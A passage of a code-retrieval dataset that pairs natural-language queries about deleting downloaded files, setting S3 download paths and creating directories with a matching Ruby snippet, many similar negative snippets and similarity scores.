"0.66957533",
"0.66891474",
"0.6684821",
"0.6676964",
"0.6675863",
"0.6672957",
"0.6670797",
"0.66553074",
"0.66551733",
"0.6653267",
"0.6649348",
"0.66454214",
"0.663499",
"0.66243744",
"0.66216046",
"0.66153216",
"0.66117585",
"0.66063213",
"0.6602111",
"0.65948457",
"0.6590743",
"0.6586543",
"0.6585257",
"0.6578522",
"0.6574397",
"0.657099",
"0.6570254",
"0.65552145",
"0.6552242",
"0.6535962",
"0.6524357",
"0.65211934",
"0.65210795",
"0.65176636",
"0.6517447",
"0.6514553",
"0.6506831",
"0.6500504"
] |
0.0
|
-1
|
Deletes the downloaded file
|
def clean_local_file
File.delete(@file_path) if File.exist? @file_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n ::File.unlink(@path)\n end",
"def del\n File.delete(@file)\n end",
"def delete!\n safe_close\n File.delete(@file_path)\n end",
"def delete_file\n File.unlink file\n end",
"def delete_file\n File.unlink file\n end",
"def delete(filename); end",
"def delete\n File.delete(file_name)\n rescue\n # ignore\n end",
"def destroy_file\n File.delete full_file_path\n rescue\n end",
"def delete\n @file = nil\n # file.delete\n end",
"def delete(filename)\n File.delete File.join(@base_path, filename)\n end",
"def cleanup_download_path\n if download_path.exist?\n download_path.delete\n end\n end",
"def delete_file(filename)\n http.delete([204,404], luwak, escape(filename))\n true\n end",
"def destroy\n file&.delete\n end",
"def destroy\n @download = Download.find(params[:id])\n @download.destroy\n\n respond_to do |format|\n format.html { redirect_to(downloads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @download = Download.find(params[:id])\n @download.destroy\n\n respond_to do |format|\n format.html { redirect_to(downloads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @download = Download.find(params[:id])\n @download.destroy\n\n respond_to do |format|\n format.html { redirect_to downloads_url }\n format.json { head :no_content }\n end\n end",
"def delete_file(file)\n delete_attachment(file)\n end",
"def destroy\n @download.destroy\n respond_to do |format|\n format.html { redirect_to downloads_url, notice: 'Download was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @download.destroy\n respond_to do |format|\n format.html { redirect_to downloads_url, notice: 'Download was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_file(filename)\r\n DeleteFile.new(filename)\r\n end",
"def destroy_file\n FileUtils.rm(full_filename) if File.exists?(full_filename)\n end",
"def destroy\n @file_version.destroy\n head :no_content\n end",
"def delete\n begin\n uy_connection.delete(@path)\n true\n rescue Exception => e\n # If the file's not there, don't panic\n nil\n end\n end",
"def download!\n return download if file.nil?\n\n file.close\n file.unlink\n self.file = nil\n download\n end",
"def delete_file(filename)\n begin\n File.delete(filename)\n rescue Exception => e\n puts e.message\n end\n end",
"def delete_file\n begin\n File.delete(stored_file_path)\n rescue => e\n logger.error(\"Could not delete #{stored_file_path}. Ignored.\")\n logger.error(e)\n end\n end",
"def delete_file(filename,repo)\n curl_delete(\"#{self.host}/api2/repos/#{repo}/file/?p=#{filename}\").body_str\n end",
"def delete_file( path )\n # removes a file at path\n connection.delete( path )\n last_ftp_command_ok?\n end",
"def delete!\n exist!\n File.unlink @path\n @path = nil\n end",
"def delete\n FileUtils.rm(self.path) if exists?\n end",
"def delete_file \n #pp \"deleting file_asset: path is\" + full_filepath\n File.delete(full_filepath) if File.exists?(full_filepath)\n end",
"def destroy_file\n Qiniu::RS.delete(qiniu_config[:bucket_name], full_filename)\n end",
"def delete\n @lock.synchronize do\n ::File.unlink(@tmpfile) if ::File.exist?(@tmpfile)\n end\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n File.delete(header_file_full_path)\n File.delete(data_file_full_path)\n end",
"def remove_content\n File.unlink(filename) if File.exist?(filename)\n end",
"def destroy\n @downloadlink = Downloadlink.find(params[:id])\n @downloadlink.destroy\n\n respond_to do |format|\n format.html { redirect_to(downloadlinks_url) }\n format.xml { head :ok }\n end\n end",
"def delete_file(basepath = MP3_STORAGE_PATH)\n FileUtils.rm_rf(\"#{basepath}/#{id}\")\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue Errno::ENOENT\n end",
"def delete_downloads\n FileUtils.remove_entry_secure(dir) if Dir.exist?(dir)\n end",
"def destroy_file\n object = self.class.bucket.objects.find(full_filename)\n object.destroy\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue nil\n end",
"def destroy\n @attachment.file.purge\n @attachment.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: 'Attachment was successfully destroyed.' }\n end\n end",
"def destroy\n File.delete(get_file_path(@stocked_file))\n @stocked_file.destroy\n respond_to do |format|\n format.html { redirect_to stocked_files_url, notice: 'Stocked file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n File.delete(self.artifact)\n end",
"def delete!\n return true unless File.exist?(path)\n FileUtils.rm(path)\n end",
"def destroy\n if !user_signed_in?\n redirect_to :root\n else\n if current_user.user?\n redirect_to :root\n end\n end\n @filedownload.destroy\n respond_to do |format|\n format.html { redirect_to filedownloads_url, notice: 'Filedownload was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def clean_test_case\n if File.exists?(@local_file_download_destination)\n File.delete(@local_file_download_destination)\n end\n end",
"def remove_downloaded_files\n Log.log_info('In remove_downloaded_files')\n begin\n Log.log_debug('Removing downloaded files')\n # TBI\n Log.log_debug('End removing downloaded files')\n rescue StandardError => e\n Log.log_err('Exception e=' + e.to_s)\n end\n end",
"def delete(id)\n file = get_file(id)\n delete_file(file) unless file.nil?\n end",
"def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end",
"def delete_file(path)\n \n puts \"Sending path via MCollective Files client\"\n @mc.delete(:path => path)\n printrpcstats\n \n end",
"def delete\n if stat.directory?\n FileUtils.rm_rf(file_path)\n else\n ::File.unlink(file_path)\n end\n ::File.unlink(prop_path) if ::File.exist?(prop_path)\n @_prop_hash = nil\n NoContent\n end",
"def delete_rdf_file\n public_path = public_rdf_storage_path\n private_path = private_rdf_storage_path\n FileUtils.rm(public_path) if File.exist?(public_path)\n FileUtils.rm(private_path) if File.exist?(private_path)\n end",
"def delete\n model.delete_attachment(@path)\n end",
"def delete\n begin\n object = bucket.objects.find(@path)\n object.destroy\n true\n rescue Exception => e\n # If the file's not there, don't panic\n nil\n end\n end",
"def destroy(remote_path)\n get_adapter.delete_file(remote_path)\n end",
"def destroy\n @agent_import_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(agent_import_files_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_download = ProjectDownload.find(params[:id])\n @project_download.destroy\n\n respond_to do |format|\n format.html { redirect_to project_downloads_url }\n format.json { head :no_content }\n end\n end",
"def delete\n unless FileDescriptor.exists?(filename: params[:fname])\n fpath = filePath params[:fname]\n begin\n File.delete fpath\n result = {status: 'ok'}\n status = 200\n rescue Exception => e\n result = {status: 'error', message: e.message}\n status = 500\n end\n else\n result = {status: 'error', message: 'File is open'}\n status = 403 # Forbidden\n end\n render json: result.to_json, status: status\n end",
"def deleteFile(file_path)\n puts \"Delete file: \" + file_path.to_s\n File.delete(file_path) if File.exist?(file_path)\nend",
"def delete_opml_file\n if self.filename.present?\n Feedbunch::Application.config.uploads_manager.delete self.user_id, OpmlExporter::FOLDER, self.filename\n end\n end",
"def rm!( path )\r\n got = @ndev.rpc.file_delete( :path => path )\r\n return true if got.nil? # got no error\r\n # otherwise, there was an error, check output\r\n raise IOError, got.text\r\n end",
"def delete_file\n @file = []\n end",
"def destroy\n #FIXME: Double check auth is working for deletion. Also, maybe should only delete if not associated with any experiments.\n @data_file.destroy\n \n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n File.delete(temp_path)\n end",
"def delete_uploaded_file\r\n return unless file_exists?\r\n File.delete(full_path)\r\n remove_empty_directory\r\n @saved_full_path = nil\r\n end",
"def delete uri\n @change_semaphore.synchronize do\n filename = uri_to_file(uri)\n library.delete filename\n # Remove diagnostics for deleted files\n send_notification \"textDocument/publishDiagnostics\", {\n uri: uri,\n diagnostics: []\n }\n end\n end",
"def delete\n path = @p.path\n File::unlink path\n end",
"def destroy\n @attachment.detach\n head :no_content\n end",
"def delete_file name\n filename = \"#{RAILS_ROOT}/#{@@dir}/#{name}\" \n File.delete filename if File.exists? filename\n end",
"def destroy\n begin\n File.delete( @doc_file.docOwner)\n rescue\n end\n @doc_file.destroy\n \n respond_to do |format|\n format.html { redirect_to doc_files_url }\n format.json { head :no_content }\n end\n end",
"def delete(name)\n File.delete(path(name))\n end",
"def remove!\n FileUtils.rm(File.join(remote_path, remote_file))\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n remove_files(@path + \"*\")\n end",
"def delete\n execute_request('DELETE') do |uri, headers|\n HTTP.http_client.delete(uri, header: headers)\n end\n end",
"def destroy\n \n @attachment = Attachment.find(params[:attachment_id])\n @attachment.destroy\n Keys.where(attachment_id: @attachment.id).destroy_all\n GetModel(params[:type]).where(file_id: @attachment.id).destroy_all\n \n respond_to do |format| \n format.html { redirect_to '/imports/'+params[:profile_id].to_s+'/csv/'+params[:type].to_s,notice: 'File has been deleted!' }\n end\n \n end",
"def destroy\n @data_file = DataFile.find(params[:id])\n @data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_files_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n file = @classroom.assets.find(params[:id])\n authorize!(:destroy, file)\n\n if file and file.destroy\n flash.now[:success] = _('File was deleted')\n flash.keep\n end\n\n redirect_to files_path\n end",
"def delete_file\n return false if !@file\n FileUtils.rm @file if File.file? @file\n return true\n end",
"def delete_from_store\n Attachment.delete_from_store(url)\n end",
"def destroy\n @filename.destroy\n respond_to do |format|\n format.html { redirect_to filenames_url }\n format.json { head :no_content }\n end\n end",
"def cleanup\n FileUtils.rm_f(@path)\n delete\n end",
"def delete_file(request)\n data, _status_code, _headers = delete_file_with_http_info(request)\n data\n end",
"def destroy\n @backup_file = BackupFile.find(params[:id])\n @backup_file.destroy\n\n respond_to do |format|\n format.html { redirect_to backup_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end",
"def delete\n ensure_connection!\n resp = connection.delete_file bucket, name\n if resp.success?\n true\n else\n fail ApiError.from_response(resp)\n end\n end",
"def deleteFile(path)\n File.delete(path) if File.exist?(path)\nend",
"def remove_file\n return unless file_exists?\n\n s3_object(false).delete\n rescue => e\n Rails.logger.error \"Unable to delete file #{self.filename}: #{e.message}\"\n end",
"def delete(command)\n pp @client.files.delete(clean_up(command[1]))\n end",
"def destroy\n @money_arrival_file.destroy\n respond_to do |format|\n format.html { redirect_to money_arrival_files_url, notice: 'Money arrival file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @agent_import_file.destroy\n\n respond_to do |format|\n format.html { redirect_to agent_import_files_url, notice: t('controller.successfully_deleted', model: t('activerecord.models.agent_import_file')) }\n format.json { head :no_content }\n end\n end",
"def remove(filename); end",
"def delete_file(path)\n path = File.join('/', path)\n raise ArgumentError if path == '/'\n self.class.delete(path, request_options)\n end",
"def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end",
"def delete_file storage_file_path\n @bucket.file(storage_file_path).delete if @bucket.file storage_file_path\n end",
"def destroy\n @datafile.destroy\n respond_to do |format|\n format.html { redirect_to datafiles_url }\n format.json { head :no_content }\n end\n end",
"def delete\n FileUtils.remove_entry_secure(@directory)\n ObjectSpace.undefine_finalizer(self)\n rescue Errno::ENOENT\n end",
"def delete\n client.delete(url)\n @deleted = true\n end",
"def destroy\n @file_link.destroy\n respond_to do |format|\n format.html { redirect_to file_links_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.769393",
"0.7683738",
"0.7631318",
"0.7604688",
"0.7604688",
"0.75804925",
"0.7571996",
"0.7511983",
"0.74589753",
"0.7448586",
"0.7414083",
"0.74071664",
"0.7403581",
"0.7401358",
"0.7401358",
"0.73304623",
"0.7283587",
"0.7270029",
"0.7270029",
"0.72592586",
"0.72437745",
"0.7224298",
"0.72071576",
"0.7187954",
"0.7141245",
"0.7139817",
"0.7100561",
"0.7043173",
"0.7022896",
"0.7003026",
"0.6995089",
"0.698622",
"0.6940464",
"0.693233",
"0.6922562",
"0.69193625",
"0.6889405",
"0.68749",
"0.68588316",
"0.6855247",
"0.68526375",
"0.68423754",
"0.68370485",
"0.6828506",
"0.6809382",
"0.67986953",
"0.67980933",
"0.6768027",
"0.67653656",
"0.6755853",
"0.6738124",
"0.67287564",
"0.67110646",
"0.67088497",
"0.670689",
"0.67001534",
"0.66971856",
"0.66963387",
"0.66958404",
"0.6681839",
"0.6644435",
"0.6638548",
"0.663596",
"0.6628031",
"0.66257155",
"0.6621086",
"0.6618983",
"0.66117597",
"0.66003376",
"0.6584785",
"0.658286",
"0.6580549",
"0.6576378",
"0.6571129",
"0.65539217",
"0.6551234",
"0.65479124",
"0.65430653",
"0.6540367",
"0.6529792",
"0.65293807",
"0.65208715",
"0.6517206",
"0.65166956",
"0.6505899",
"0.6504014",
"0.6503601",
"0.6502057",
"0.65006906",
"0.64962715",
"0.64943725",
"0.6492616",
"0.6483177",
"0.6482811",
"0.64824915",
"0.6476056",
"0.6476056",
"0.6457483",
"0.6456636",
"0.6454017",
"0.6452573"
] |
0.0
|
-1
|
Sets the local path of the s3 downloaded object file
|
def set_path
@file_path = @s3_local_object.body.path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pull_from_s3\n FileUtils.mkdir_p File.dirname local_path\n file = open(local_path, \"wb\") {|f| f << open(s3_url(:orig=>true)).read }\n end",
"def download_s3_file\n run_callbacks :download_s3_file do\n @s3_local_object = download(@directory, @key)\n end\n end",
"def setup_file_path\n @sanitized_name = sanitize_filename(params[:filename])\n @file_path = \"#{@resource.s3_dir_name(type: 'data')}/#{@sanitized_name}\"\n end",
"def download_file(bucket_name:, key:, local_path:)\n s3_resource.bucket(bucket_name).object(key).download_file(local_path)\n end",
"def download_file\n run_callbacks :download_file do\n if attachment.stored_at_s3?\n @s3_file_processor = S3::ProcessFiles.new(attachment)\n s3_file_processor.download_s3_file\n self.local_file = s3_file_processor.file_path\n else\n self.local_file = attachment.path\n end\n end\n end",
"def set_path\n self.path = File.join(self.store_dir, self.filename)\n end",
"def download_url\n s3 = AWS::S3.new\n bucket = s3.buckets[ENV[\"S3_BUCKET\"]]\n object = bucket.objects[self.aws_root_to_self_path]\n object.url_for(:get, { \n expires: 10.minutes,\n response_content_disposition: 'attachment;'\n }).to_s\n end",
"def local_path_to_file=(value)\n @attributes[:local_path_to_file] = value\n reset_attributes\n calculate_attributes\n value\n end",
"def s3_object_path\n\tif ENV[\"BEAVER_S3_OBJECT_PATH\"] != ''\n\t\treturn ENV[\"BEAVER_S3_OBJECT_PATH\"]\n\tend\n\t\n\treturn fetch(:s3object)\nend",
"def download\n # Check if we already have a functional working_directory\n return if @working_directory && Dir.exist?(@working_directory)\n\n # No existing working directory, creating a new one now\n self.working_directory = Dir.mktmpdir\n\n s3_client.find_bucket!(s3_bucket).objects.each do |object|\n file_path = object.key # :team_id/path/to/file\n download_path = File.join(self.working_directory, file_path)\n\n FileUtils.mkdir_p(File.expand_path(\"..\", download_path))\n UI.verbose(\"Downloading file from S3 '#{file_path}' on bucket #{self.s3_bucket}\")\n\n object.download_file(download_path)\n end\n UI.verbose(\"Successfully downloaded files from S3 to #{self.working_directory}\")\n end",
"def set_file_for_remote_storage\n set_resource_mounter_file open(original_resource_mounter.url)\n end",
"def store_dir\n model.s3_dir\n end",
"def copy_to_local srcpath, dstpath\n src_bucket,src_key_path = split_path(srcpath)\n dstfile = File.new(dstpath, 'w')\n @s3.interface.get(src_bucket, src_key_path) do |chunk|\n dstfile.write(chunk)\n end\n dstfile.close\n end",
"def file_path\n public_filename =~ Issuu::S3 ? public_filename : \"#{RAILS_ROOT}/public#{public_filename}\"\n end",
"def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n local_path = \"./#{object_key}\"\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n if object_downloaded?(s3_client, bucket_name, object_key, local_path)\r\n puts \"Object '#{object_key}' in bucket '#{bucket_name}' \" \\\r\n \"downloaded to '#{local_path}'.\"\r\n else\r\n puts \"Object '#{object_key}' in bucket '#{bucket_name}' not downloaded.\"\r\n end\r\nend",
"def download_link\n s3 = Aws::S3::Client.new\n signer = Aws::S3::Presigner.new(client: s3)\n signer.presigned_url(\n :get_object,\n bucket: ENV['SEATSHARE_S3_BUCKET'],\n key: path,\n expires_in: 86_400\n )\n end",
"def local_location\n @local_location ||= begin\n if uri.scheme == 's3'\n S3File.new(uri).local_file.path\n else\n location\n end\n end\n end",
"def generate_tmp_file\n FileUtils.mkdir_p(local_tmp_dir) unless File.exists?(local_tmp_dir)\n #TODO avoid name collision\n stored = File.new(local_file_pathname, 'wb')\n stored.write s3_obj.read\n stored.close\n # Download and write the file in blocks off the HTTP Response (see S3Object.read in aws-sdk docs)\n # File.open(local_file_pathname, 'w') do |file|\n # s3_obj.read do |chunk|\n # file.write(chunk)\n # end\n # file\n # end\n end",
"def copy_to_local srcpath, dstpath\n src_bucket = bucket(srcpath)\n src_key_path = key_path(srcpath)\n dstfile = File.new(dstpath, 'w')\n @s3.interface.get(src_bucket, src_key_path) do |chunk|\n dstfile.write(chunk)\n end\n dstfile.close\n end",
"def file_path\n public_filename =~ ScribdFu::S3 ? public_filename : \"#{RAILS_ROOT}/public#{public_filename}\"\n end",
"def s3_object(path)\n @task.s3_object(\"asgroup/#{@name}/#{path}\")\n end",
"def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end",
"def user_file_bucket=(s3_path)\n\t\t\tupdate_metadata(:user_file_bucket => s3_path)\n\t\t\treturn nil\n\t\tend",
"def url\n if @attributes[:filename] =~ /^http:\\/\\//\n @attributes[:filename]\n elsif $cloudfront && $cloudfront[s3_bucket]\n \"#{$cloudfront[s3_bucket]}/#{s3_key}\"\n else\n \"http://#{s3_bucket}.s3.amazonaws.com/#{s3_key}\"\n end\n end",
"def fetch(storage_path, local_path)\n super\n FileUtils.cp absolute_path(storage_path), local_path\n end",
"def download(aFilename,aBucketName,aObjectName=nil)\n\t\taObjectName ||= File.basename(aFilename)\n\t\t#AWS::S3::S3Object.store(aObjectName, MiscUtils.string_from_file(aFilename), aBucketName)\n\t\tMiscUtils.string_to_file(get_content(aObjectName,aBucketName),aFilename)\n\tend",
"def download(bucket, key)\n connect_to_s3\n @temp_file_path = File.join(Dir.tmpdir, key.gsub('/', '-'))\n File.open(temp_file_path, 'w+') do |f|\n f.puts AWS::S3::S3Object.value(key,bucket)\n end\n end",
"def pdf_location\n S3Service.fetch_file(s3_location, output_location)\n output_location\n end",
"def pdf_location\n S3Service.fetch_file(s3_location, output_location)\n output_location\n end",
"def pdf_location\n S3Service.fetch_file(s3_location, output_location)\n output_location\n end",
"def pdf_location\n S3Service.fetch_file(s3_location, output_location)\n output_location\n end",
"def s3_url\n establish_s3_connection\n bucket = s3keys[\"bucket\"]\n key = self.datastreams[\"s3\"].key_values.first\n s3 = AWS::S3.new\n s3.buckets[bucket].objects[key].url_for(:read, :expires => 60 * 60 * 1.5)\n end",
"def store_on_s3(options)\n # Deleting :url from options because we don't want it in the options that we pass to s3\n # and removing some characters that aren't allowed in urls\n url = options.delete(:url).gsub(/ /, '%20').gsub(/\\^/, '%5E')\n file = open(url)\n \n key = options.delete(:key)\n\n AWS::S3::S3Object.store(key, file, @bucket, options)\n\n # Return location on s3\n \"http://s3.amazonaws.com/\" + @bucket + \"/\" + key\n end",
"def download_path\n if self.upload_file_name.nil?\n self.human_fastq_url\n else\n if self.study.public?\n download_file_path(self.study.url_safe_name, filename: self.bucket_location)\n else\n download_private_file_path(self.study.url_safe_name, filename: self.bucket_location)\n end\n end\n end",
"def s3(s3_bucket, artifact_path)\n @url = \"https://s3.amazonaws.com/#{s3_bucket}/#{artifact_path}\"\n parse_url\n self\n end",
"def download(path, &block)\n resource = Aws::S3::Resource.new(client: @client).bucket(@bucket).object(path)\n local = Tempfile.new\n resource.download_file local.path\n local.rewind\n block.call local\n ensure\n local&.close\n local&.unlink # deletes the temp file\n end",
"def store!\n # Upload the file\n prefix = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}\"\n fname = prefix+(@file.respond_to?(:original_filename) ? @file.original_filename : File.basename(@file))\n o = s3_bucket.objects[\"#{asset_path}#{fname}\"]\n o.write(Pathname.new(@file.path), {\n acl: :public_read,\n content_type: MIME::Types.type_for(@file.path).first.to_s\n })\n\n # Set the public_url attribute\n remote_url = o.public_url.to_s\n self.set(public_url: remote_url)\n self.this.update(public_url: remote_url)\n end",
"def download_remote_file(remote_object, local_filename)\n completed = false\n @logger.debug(\"S3 input: Download remote file\", :remote_key => remote_object.key, :local_filename => local_filename)\n File.open(local_filename, 'wb') do |s3file|\n return completed if stop?\n begin\n remote_object.get(:response_target => s3file)\n rescue Aws::S3::Errors::ServiceError => e\n @logger.error(\"Unable to download file. We´ll requeue the message\", :file => remote_object.inspect)\n throw :skip_delete\n end\n end\n completed = true\n\n return completed\n end",
"def s3_object\n @s3_object ||= bucket.objects[full_key]\n end",
"def download_path\n ::File.join(Chef::Config[:file_cache_path],\n ::File.basename(source_path))\n end",
"def copy_from_local srcpath, destpath\n bucket,key = split_path(destpath)\n if File.exists?(srcpath)\n if File.directory?(srcpath)\n raise \"NotYetImplemented\"\n else\n @s3.interface.put(bucket, key, File.open(srcpath))\n end\n else\n raise Errno::ENOENT, \"No such file or directory - #{srcpath}\"\n end\n end",
"def filepath\n File.join(RedmicaS3::Connection.import_folder.presence, self.filename.presence) if super\n end",
"def s3_url\n establish_s3_connection\n bucket = self.datastreams[\"s3\"].bucket_values.first\n key = self.datastreams[\"s3\"].key_values.first\n AWS::S3::S3Object.url_for(key, bucket, :expires_in => 60 * 60 * 1.5)\n end",
"def s3_updatefile(filename, filedata)\n s3_deletefile filename\n #AWS::S3::S3Object.store filename, filedata, QBUCKET.to_s, :access => :public_read\n AWS::S3::S3Object.store filename, filedata, IMAGES_BUCKET.to_s, :access => :public_read\n end",
"def set_file\n if have_file?\n begin\n set_file_for_remote_storage\n rescue Errno::ENOENT\n set_file_for_local_storage\n rescue NoMethodError\n raise \"Original resource has no File\"\n end\n else\n raise \"Original resource has no File\"\n end\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end",
"def s3=(value)\n self[:s3] = value\n end"
] |
[
"0.71206",
"0.7113829",
"0.69821626",
"0.6779674",
"0.6777625",
"0.65644497",
"0.6512893",
"0.6484955",
"0.6462759",
"0.6286961",
"0.6222474",
"0.62119514",
"0.6195475",
"0.61765605",
"0.61729413",
"0.6168541",
"0.61659765",
"0.6162605",
"0.61619717",
"0.6139611",
"0.611468",
"0.605157",
"0.60472745",
"0.604493",
"0.59895706",
"0.59887695",
"0.5965317",
"0.59645164",
"0.5963704",
"0.5963704",
"0.5963704",
"0.5943005",
"0.5854363",
"0.58428067",
"0.58424246",
"0.5836114",
"0.58257973",
"0.5822681",
"0.581944",
"0.58006954",
"0.58002126",
"0.57965964",
"0.57818544",
"0.5776121",
"0.57660615",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336",
"0.57647336"
] |
0.8764995
|
0
|
Creates directory for downloading the file to
|
def provision_directory
Dir.mkdir(@directory) unless Dir.exists?(@directory)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_directory\n FileUtils.mkdir_p output_directory unless File.exist? output_directory\n end",
"def create_dir path\n sftp.mkdir! path\n end",
"def make_file_dir(folder, path=\"public/temp/#{@current_user.user_name}\")\n @file_dir= \"#{path}/#{folder}\"\n FileUtils.mkdir_p(\"#{@file_dir}\")\n return @file_dir\n end",
"def create_directory(branch, destination, name, author)\n destination ||= ''\n repo = satelliterepo\n repo.checkout(branch) unless repo.empty?\n file = File.join(name, '.gitignore')\n file = File.join(destination, file) unless destination.empty?\n absolute = File.join(satellitedir, file)\n FileUtils.mkdir_p File.dirname(absolute)\n FileUtils.touch(absolute)\n repo.index.add file\n message = \"Add directory #{name}\"\n commit_id = satellite_commit(repo, message, author, branch)\n fake_thumbnail commit_id\n repo.checkout('master')\n File.dirname(file)\n end",
"def create_directory(branch, destination, name, author)\n destination ||= ''\n repo = satelliterepo\n repo.checkout(branch) unless repo.empty?\n file = File.join(name, '.gitignore')\n file = File.join(destination, file) unless destination.empty?\n absolute = File.join(satellitedir, file)\n FileUtils.mkdir_p File.dirname(absolute)\n FileUtils.touch(absolute)\n repo.index.add file\n message = \"Add directory #{name}\"\n commit_id = satellite_commit(repo, message, author, branch)\n fake_thumbnail commit_id\n repo.checkout('master')\n File.dirname(file)\n end",
"def create_dir(filename)\n expanded_filename = \"#{working_dir}/#{filename}\"\n FileUtils.mkdir_p expanded_filename\n expanded_filename\n end",
"def create_directory!\n return if Dir.exist?(output_directory)\n\n FileUtils.mkdir_p(output_directory)\n end",
"def directory(dir)\n last_remote = Rake.application.last_remote\n Rake.each_dir_parent(dir) do |d|\n Rake.application.last_remote = last_remote\n file_create d do |t|\n mkdir_p t.name if ! File.exist?(t.name)\n end\n end\n end",
"def create_directory(file)\n end",
"def create_output_directory\n FileUtils.mkdir_p @output_dir\n end",
